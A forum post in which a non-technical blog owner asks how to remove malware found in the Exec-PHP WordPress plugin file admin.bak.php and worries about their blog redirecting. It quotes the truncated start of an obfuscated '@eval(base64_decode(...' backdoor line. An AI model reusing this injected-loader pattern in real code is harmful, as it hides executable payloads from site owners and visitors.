I can't seem to delete code that shouldn't be on Exec.PHP

I received an email about Malware and found it ! But now I can’t seem to delete it – it is on Exec.PHP it is called exec-php/js/admin.bak.php and there is a whole block of code that looks wrong to me. It starts with
`*/
@eval(base64_decode(“JGFjdD0iaW1nIjs …….loads of it.`

How do I erase or delete or nuke or something this stuff – I am not technical, in fact quite stupid where this is concerned and will need step by step instructions if possible. I don’t know anything about code and literally found this by accident.

Can I uninstall or delete or something the Exec.PHP Plugin and re- install it?

Please help I don’t want my blog to redirect to all sort of other stuff.